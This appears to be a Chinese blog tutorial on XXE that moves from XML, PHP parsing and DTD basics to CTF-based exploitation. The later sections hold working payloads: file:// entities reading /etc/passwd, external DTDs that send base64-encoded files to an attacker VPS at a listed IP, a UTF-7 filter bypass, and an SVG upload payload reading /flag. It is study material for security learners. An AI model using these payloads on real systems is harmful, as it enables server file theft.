xxe学习
XXE学习
xml
-
XML是一种标记语言.
以一个excel表格为例:标记可以类比为表头.
-
标签无意义.而html的标签是有功能性的.
-
xml的主要功能是用来进行读取的.
xml的漏洞来源:利用DTD声明.
xml 常用的场景: 数据传递.登录数据,天气预报数据等等.
xml基本语法
-
标签无功能性
-
标签必须闭合
-
嵌套必须正确
-
xml对大小写是敏感的
-
xml必须有根元素
-
构造payload的时候,可以不用换行
-
头声明可有可无
<?xml ...?>,建议写 -
实体引用

使用php解析xml
两种方式:
- 使用
simplexml_load_file()读取xml - 使用
DOMDocument读完xml
我们这里先创建一个文件夹,其中有一个xml文件和一个php.接着xml写入一些例子:
<?xml version="1.0" encoding="UTF-8"?>
<characters>
<person id="1">
<name>Alice Chen</name>
<role>Lead Researcher</role>
<age>29</age>
</person>
<person id="2">
<name>Brian Wu</name>
<role>Systems Engineer</role>
<age>32</age>
</person>
</characters>
如果我们尝试去读取这些各个属性的化要怎么做呢?
我们先来看方式1:
<?php
$xml = simplexml_load_file('1.xml');
print_r($xml);
$name1 = $xml->person[0]->name;
echo $name1;
?>
/*
SimpleXMLElement Object
(
[person] => Array
(
[0] => SimpleXMLElement Object
(
[@attributes] => Array
(
[id] => 1
)
[name] => Alice Chen
[role] => Lead Researcher
[age] => 29
)
[1] => SimpleXMLElement Object
(
[@attributes] => Array
(
[id] => 2
)
[name] => Brian Wu
[role] => Systems Engineer
[age] => 32
)
)
)
Alice Chen
*/
这里打印出来的东西可以看出,simplexml_load_file函数会直接吧整个文档读取成一个对象,那么我们接下来就可以用php中关于对象的一些方法来达到调用属性的一些目的,比如尝试打印其中的一个人的名字属性.
方式2:
<?php
$xml = new DOMDocument();
$xml->load('1.xml');
print_r($xml);
?>
/*
DOMDocument Object
(
[doctype] =>
[implementation] => (object value omitted)
[documentElement] => (object value omitted)
[actualEncoding] => UTF-8
[encoding] => UTF-8
[xmlEncoding] => UTF-8
[standalone] => 1
[xmlStandalone] => 1
[version] => 1.0
[xmlVersion] => 1.0
[strictErrorChecking] => 1
[documentURI] => file:/E:/myCTFTools/range/xxe_example/1.xml
[config] =>
[formatOutput] =>
[validateOnParse] =>
[resolveExternals] =>
[preserveWhiteSpace] => 1
[recover] =>
[substituteEntities] =>
[nodeName] => #document
[nodeValue] =>
[nodeType] => 9
[parentNode] =>
[childNodes] => (object value omitted)
[firstChild] => (object value omitted)
[lastChild] => (object value omitted)
[previousSibling] =>
[nextSibling] =>
[attributes] =>
[ownerDocument] =>
[namespaceURI] =>
[prefix] =>
[localName] =>
[baseURI] => file:/E:/myCTFTools/range/xxe_example/1.xml
[textContent] =>
Alice Chen
Lead Researcher
29
Brian Wu
Systems Engineer
32
)
*/
又或者可以通过loadXML()方法来吧字符串的xml转换成DOM对象.
通过DOM方法来读取属性(跟js控制html很像):
<?php
$xml = new DOMDocument();
$xml->load('1.xml');
echo $xml->getElementsByTagName('name')->item(0)->nodeValue;
?>
/*
Alice Chen
*/
当然我们也可以结合两者的优点,比如DOM方法后面属性调用部分很麻烦,我们可以通过simplexml_inport_dom来把DOM对象转换成普通的对象,从而使用方式1的那一套调用逻辑.
DTD声明
什么是DTD?
DTD(Document Type Definition)文件类型定义.
可以理解为约束条件,相当于一个可选表单的作用.
DTD可以直接写在xml,称为内部引用.也可以外部引用一个dtd后缀文件,称为外部引用.
内部引用
示例:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE characters [
<!ELEMENT characters (person+)>
<!ELEMENT person (name, role, age)>
<!ATTLIST person id ID #REQUIRED>
<!ELEMENT name (#PCDATA)>
<!ELEMENT role (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]>
<characters>
<person id="p1">
<name>Alice Chen</name>
<role>Lead Researcher</role>
<age>29</age>
</person>
<person id="p2">
<name>Brian Wu</name>
<role>Systems Engineer</role>
<age>32</age>
</person>
</characters>
解释一下里面常用的几个:
- DOCTYPE 定义约束
- ELEMENT 定义应该有的元素
-
PCDATA 该元素只能是字符串
- ATTLIST 定义元素属性
- 括号里面表示子元素
外部引用
1.dtd
<!ELEMENT characters (person+)>
<!ELEMENT person (name, role, age, bio?)>
<!ATTLIST person id ID #REQUIRED>
<!ELEMENT name (#PCDATA)>
<!ELEMENT role (#PCDATA)>
<!ELEMENT age (#PCDATA)>
1.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE characters SYSTEM "1.dtd">
<characters>
<person id="p1">
<name>Alice Chen</name>
<role>Lead Researcher</role>
<age>29</age>
</person>
<person id="p2">
<name>Brian Wu</name>
<role>Systems Engineer</role>
<age>32</age>
</person>
</characters>
从这里我们应该已经能看出xxe漏洞的成因了:这里的外部引用其实就是一个文件包含.
那我们拿到之后怎么展示出来呢?
这就需要我们来详细了解一下实体了.
几种实体的介绍
-
字符实体:上面给出的那五个字符的示例
-
命名实体:可以理解为变量调用
-
参数实体:为了减少代码复用
声明
<!ENTITY % atea "......">调用
%area;
XXE漏洞利用
XXE读取文件
自定义命名实体即可
<!DOCTYPE root [<!ENTITY a SYSTEM "file:///etc/passwd">]>&xxe;
XXE外部实体引用
这里适用于file协议被禁止,但http协议可用的情况.
这里需要使用参数实体,需要注意的是,参数实体的调用需要在DTD内部使用:
<!DOCTYPE root [<!ENTITY % a SYSTEM "http://vps/1.dtd">%a;]>&xxe;
XXE结果外带
先进行验证:
这里和DNS外带一样,使用我们bp中自带的collaborator模块生成URL
发送
<!DOCTYPE root [<!ENTITY % a SYSTEM "http://n7vh1vwlxic1ofi84vuv1d0h086zupie.oastify.com"> %a;]>
然后点击pull now,即可看到结果.
vps上放1.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % code "<!ENTITY % send SYSTEM 'http://vps:4444?p=%file;'>">
%code;
%send;
发送
<!DOCTYPE a [<!ENTITY % dtd SYSTEM "http://vps:5000/1.dtd">%dtd;]>
在vps上开5000和4444,最终在4444得到回显.
这里顺便复现了一下?CTF中相关的一道xxe的题目,手法大概是UTF-7+回显外带.
本来是很简单的应该,但我始终没做出来,后来请教了一下出题的师傅,好像是平台环境有问题(
于是要过来一份源码来本地复现了一下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY % dtd SYSTEM "http://vps:5000/1.dtd">%dtd;]>
unix工具iconv转一下:
iconv -f UTF-8 -t UTF-7 1.xml > 2.xml
2.xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE a +AFsAPAAh-ENTITY +ACU dtd SYSTEM +ACI-http://vps:5000/1.dtd+ACIAPgAl-dtd+ADsAXQA+-
vps上放dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % code "<!ENTITY % send SYSTEM 'http://20.3.236.12:4444?p=%file;'>">
%code;
%send;
开一下服务监听:
python3 -m http.server 4444
最终拿到回显

SVG配合xxe读取文件
极客大挑战2025中的一个题,看似感觉是静态站来着,能上传图片然后返回base64格式图片展示,发现可以上传SVG,而SVG格式就是xml,于是想到可以打xxe,
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

参考B站陈腾老师的系列视频:

浙公网安备 33010602011771号